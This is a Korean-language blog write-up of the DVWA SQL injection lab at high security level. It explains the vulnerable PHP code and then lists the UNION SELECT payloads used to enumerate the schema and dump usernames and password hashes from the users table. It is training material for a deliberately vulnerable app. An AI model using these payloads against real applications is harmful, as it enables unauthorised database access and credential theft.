상세 컨텐츠

본문 제목

DVWA : SQL Injection - High level

Vulnerability Assessment/Web Application

by DarkSoul.Story 2025. 1. 7. 22:45

본문

반응형
이 문서에 포함된 어떠한 내용도 불법적이거나 비윤리적인 목적으로 보안 도구나 방법론을 사용하도록 가르치거나 장려하지 않습니다. 항상 책임감 있는 태도로 행동하세요. 여기에 설명된 도구나 기법을 사용하기 전에 개인 테스트 환경 또는 허가를 받았는지 확인하세요.

 

[ 환경 ]

DVWA v1.9
Burp Suite Community Edition v2024.11.2

 

1.  Source code analysis

[그림 1] High level Source code

 

이 코드는 세션에 저장된 id 값을 사용하여 데이터베이스에서 사용자 정보를 조회하고 출력하는 PHP 스크립트이다.

 

세션 값 확인

if( isset( $_SESSION [ 'id' ] ) ) {
  • 현재 사용자의 세션에 id 값이 설정되어 있는지 확인한다. 
  • 이 값이 존재하면 데이터베이스에서 해당 사용자 정보를 조회한다.

사용자 입력값 가져오기

$id = $_SESSION[ 'id' ];
  • 세션에서 id 값을 가져온다
  • 세션 데이터는 클라이언트가 직접 수정할 수 없으므로, 기본적으로 사용자 입력보다 신뢰할 수 있다.
  • 그러나 서버의 보안 설정이 부족한 경우, 세션 탈취나 조작이 가능하므로 추가적인 검증이 필요하다.

데이터베이스 조회

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
  • user_id $id와 일치하는 행을 조회하며, 결과는 최대 1개의 행만 반환한다. (LIMIT 1)
  • mysql_query( ) : 쿼리가 실행하고 실행중 오류가 발생하면 일반적인 오류 메시지를 출력한다.
  • 그러나 구체적인 오류 메시지라 출력되지 않으므로 디버깅에는 적합하지 않다.

결과 가져오기 및 출력

$num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        $i++;
    }
  • mysql_numrows( ) : 결과로 반환된 행(row)의 개수를 확인하며, 여기서는 최대 1개의 행만 반환되므로 루프가 한 번 실행된다.
  • mysql_result( :  결과의 특정 행과 열의 값을 가져온다.
  • 사용자 정보를 HTML 형식으로 출력한다.

ㅁ 보안상의 문제점

SQL 인젝션 취약점

  • SQL 쿼리에 세션 값 $id가 직접 삽입되므로, SQL 인젝션 공격에 취약하다.
  • 예를 들어, 세션 값이 조작된 경우 다음과 같은 쿼리가 생성될 수 있다.
SELECT first_name, last_name FROM users WHERE user_id = '1 OR 1=1' LIMIT 1;
  • 이로 인해 원치 않는 데이터가 반환될 수 있다.

구식 데이터베이스 함수 사용

  • mysql_* 함수는 더 이상 PHP에서 지원되지 않으므로, PDO 또는 MySQLi를 사용하는 것이 권장한다.

세션 값 신뢰 문제

  • 세션 값이 조작될 가능성을 배제할 수 없다.
  • 예를 들어, 세션 탈취 공격이나 취약한 세션 관리로 인해 공격자가 다른 사용자의 데이터를 조회할 수 있다.

에러 메시지 노출

  • 오류 발생 시 사용자에게 일반적인 메시지만 출력하지만, 데이터베이스 오류 정보가 서버 로그에 기록되지 않는다.
  • 디버깅과 보안 문제 추적에 어려움이 있다.

 

3. Practical exercises

High level에서는 "아이디를 변경하려면 여기를 클릭하세요" 라는 텍스트가 링크와 함께 표시되어 있다.

[그림 2] High levle 페이지

 

해당 링크를 클릭하면 최종 사용자가 입력을 제출할 수 있는 텍스트 상자가 있는 팝업 창이 열린다.

[그림 3] 최종 사용자가 입력을 제출할 수 있는 텍스트 상자

 

 

[그림 4]와 같이 텍스트 상자에 1을 입력하면,  제출 후 이전과 같이 메인 페이지에 데이터베이스에서 가져온 사용자에 대한 정보를 제공하는것을 확인할 수 있다.

[그림 4] 사용자 정보 제공

 

숫자를 계속 입력하면, 최대 5명의 사용자에 대한 정보를 검색할 수있다. 항상 연속된 숫자로 구현되는 것은 아니므로 반드시 5명의 사용자가 있다는 것을 의미하지 않는다. 여기서는 최소 5명의 사용자 정보가 있다고 가정하겠다.

[그림 5] 6번 사용자 정보 출력

 

 

Burp Suite를 이용해서  최종 사용자가 입력을 제출할 수 있는 텍스트 상자에서 전송되는 Request를 살펴보면, id 파라미터에 입력한 값을 넣고 전송하는것을 확인할 수 있다.

[그림 6] Burp Suite Intercept

 

데이터는 사용자 대한 정보를 제공하기 때문에 사용자 자격증명, 일반적으로 애플리케이션을 사용하는 사용자인 경우 암호를 얻으려고 할것이다. 공격자는 더 많은 정보를 얻을려고 할것이다. 

 

소스 코드에서 확인하였듯이, Medium level에서처럼 제한이나 필터링이 수행되지 않고 주석 기호로 쉽게 우회할 수 있는 LIMIT 절만 설정되어 있는 것을 발견확인하였다. 우선 응답에 반환되는 열 수를 확인하기 위해 오류가 발생하지 않을 때 까지 다양한 수의 Payload를 제출 한다. [그림 7]은 응답에 2개의 열이 반환되었음을 알려준다.

1' UNION SELECT NULL, NULL#

[그림 7] 2개의 열이 반환

 

이제 열 데이터 유형을 확인해 보겠다. 우리는 사용자 이름/(해시된) 비밀번호 데이터를 검색하고 있는데, 이는 문자열 형식으로 저장되어 있을 가능성이 높다. 원하는 데이터를 검색할 때 활용할 수 있도록 문자열 데이터를 반환하는 열이 하나 이상 있어야 한다. 사용자 이름과 비밀번호의 정보를 해당 열에 연결할 수 있으므로 열 하나만 있으면 충분하다.

 

이를 위해 페이로드를 제출하고 첫 번째, 두 번째 또는 두 Payload 모두에 문자열 값을 배치하여 오류가 없는 경우를 확인한다. 다행히도 [그림 8]과 같이 두 열 모두 문자열 데이터를 보유하고 있다.

1' UNION SELECT 'a', 'a'#

[그림 8] 데이터 타입 확인

 

이제 2개의 문자열 열을 반환하는 쿼리를 구성할 수 있다는 것을 알게 되었다. 데이터베이스에 대한 정보를 더 많이 수집하고 테이블 목록부터 시작해 보겠다.

1' UNION SELECT schema_name, NULL FROM information_schema.schemata #

[그림 9] 데이터베이스의 메타데이터를 조회하여, 테이블 이름 확인

 

성공적으로 테이블 이름을 확인하였고, 이제 User 테이블의 구조를 확인해 보자. 

1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name= 'users' #

[그림 10] User 테이블의 구조

 

마지막으로 information_schema.columns 테이블에서 추출한 users 테이블의 열 이름 목록을 확인 한 후 사용자 이름과 비밀번호를 확인해 보자.

1' UNION SELECT user, password FROM users #

[그림 11] users 테이블에서 사용자 이름과 비밀번호 확인

반응형

관련글 더보기